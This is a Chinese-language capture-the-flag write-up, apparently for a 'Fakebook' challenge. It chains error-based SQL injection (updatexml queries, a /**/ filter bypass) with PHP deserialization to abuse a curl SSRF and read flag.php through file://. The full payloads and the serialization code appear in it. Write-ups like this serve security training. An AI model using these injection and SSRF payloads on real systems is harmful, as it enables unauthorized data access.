随便注册一个账户后,点击进去
url中的no引人注意,尝试no=0
出现了很多信息,感觉像是sql注入,于是no=1’试试
好,这里存在注入漏洞,一套连招下来,发现union被过滤,select存活,但是据说可以用/**/绕过,反正是没怎么过滤,想怎么来怎么来
不想写中间过程了,轻松爆出了数据库名、表名,看看最后几步
?no=1 and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users'),'~'),3);
?no=1 and updatexml(1,concat('~',( select data from users),'~'),3);
我们注意到data数据是序列化好的内容,应该就是我们注册的信息,到这里sql注入也就结束了,没有flag
看wp,dirsearch一波
就像发现新大陆一样,先看看robots.txt(这里吐槽一下buu网站不经干,dirsearch一定要delay拉到5左右才不会炸-_-!!)
把这个备份文件下载下来
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
看到blog的内容通过get函数得到
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
这里存在curl_exec()使用不当造成SSRF漏洞,之前的报错中告诉了文件路径
利用file协议可以得到flag.php
本地序列化代码
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "file:///var/www/html/flag.php";
}
$a=new UserInfo();
echo serialize($a);
?>
最终payload
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
网页源码可以看到这个,base64解密一波即可